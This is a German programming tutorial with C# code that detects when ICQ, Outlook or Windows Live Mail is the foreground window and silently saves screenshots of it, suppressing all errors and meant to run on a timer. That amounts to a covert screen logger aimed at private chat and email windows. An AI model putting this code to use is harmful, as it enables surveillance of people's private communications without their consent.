Tutorial Capture Screen
In diesen Tutorial möchte ich euch zeigen, wie man von bestimmten Anwendungen (bestimmte Fenster die sich im Vordergrund befinden) einen Screenshot erstellen kann. D.h. immer wenn sich ein bestimmtes Programm im Vordergrund befindet, wird ein Screenshot erstellt. In diesem Fall handelt es sich um ICQ, Outlook und Windows-Live-Mail.
Als erstes mal der komplette Sourcecode:
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Drawing;
namespace Screenshot_ForegroundWindow
{
class ScreenshotForegroundWindow
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
public static extern IntPtr GetForegroundWindow();
public void MakeScreenshotForegroundWindow()
{
try
{
IntPtr foregroundwindow = GetForegroundWindow();
int length =1000;
StringBuilder mybuilder = new StringBuilder(length);
GetClassName(foregroundwindow, mybuilder, mybuilder.Capacity);
string classname = mybuilder.ToString();
switch (classname)
{ //Klassenname für alle relevanten ICQ-Fenster
case "__oxFrame.class__":
Screenshot();
break;
//Klassenname für Outlook 2007-Fenster
case "rctrl_renwnd32":
Screenshot();
break;
case "":
Screenshot();
break;
//Klassenname für alle relevangen Windows-Live-Mail-Fenster
case "Outlook Express Browser Class":
Screenshot();
break;
}
}
catch (Exception)
{
}
}
//Methode für den Screenshot
private void Screenshot()
{
try
{
//Zufallszahl für einen eindeutigen Bildnamen
Random rand = new Random();
int zufall = rand.Next(0, 1000000);
//Höhe
int width = 1280;
//Breite
int height = 1024;
//Objekt aus der Klasse Bitmap
Bitmap bitmap = new Bitmap(width, height);
//Objekt aus der Klasse Graphics
Graphics grahpic = Graphics.FromImage(bitmap);
grahpic.CopyFromScreen(0, 0, 0, 0, bitmap.Size);
//Apspeichern des Bitmaps
bitmap.Save("c:\\Test\\bitmap" + zufall + ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg);
//Freigeben der Resourcen
grahpic.Dispose();
}
catch (Exception)
{
}
}
Erklärung der Klasse
Als erstes komme ich mal auf die Dll‘ s zu sprechen, die benötigt werden.
Mit folgender Dll ist es möglich den Klassennamen eines Fensters auszulesen.
Code:
[DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
Diese Dll ist dafür zuständig, ein Handle auf das sich im Vordergrund befindliche Fenster zu bekommen. Anhand dieses Handles wird dann später der Klassename abgerufen.
Code:
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)] public static extern IntPtr GetForegroundWindow();
So nun werde ich mal die relevanten Zeilen erklären.
Als erstes wird das Handle von dem Fenster ermittelt , welches sich im Vordergrund befindet. Dieses Handle wird benötigt, um den Klassenamen des sich im Vordergrund befindlichen Fensters zu ermitteln. Das wird hiermit erreicht :
Code:
IntPtr foregroundwindow = GetForegroundWindow();
Nun deklarieren wir uns eine Variable, die die Kapazität des StringBuilders Objekts festlegt. Dieses Objekt wird benötigt, um den Namen der Klasse des entsprechenden Fensters aufzunehmen.
Nun wird das StringBuilder-Objekt mit der entsprechenden Kapazität erstellt.
Code:
StringBuilder mybuilder = new StringBuilder(length);
Jetzt wird der Klassename des sich im Vordergrund befindlichen Fenster in das StringBuilder-Objekt „gepackt“. Dieses geschieht anhand der Funktion GetClassName(……..);
Code:
GetClassName(foregroundwindow, mybuilder, mybuilder.Capacity);
Der nächste Schritt ist nun den Inhalt des StringBuilders-Objektes einen string zuzuweisen.
Code:
string classname = mybuilder.ToString();
Darauf folgend wird anhand einer Switch/Case auf den Inhalt des strings reagiert.
Code:
switch (classname)
{ //Klassenname für alle relevanten ICQ-Fenster
case "__oxFrame.class__":
Screenshot();
break;
//Klassenname für Outlook 2007-Fenster
case "rctrl_renwnd32":
Screenshot();
break;
case "":
Screenshot();
break;
//Klassenname für alle relevanten Windows-Live-Mail-Fenster
case "Outlook Express Browser Class":
Screenshot();
break;
}
}
Die Methode Screenshot sollte verständlich auskommentiert sein. Wenn man diese Geschichte dann in einen Timer auslagert, sollte das Ergebnis logisch sein.
MFG Conn……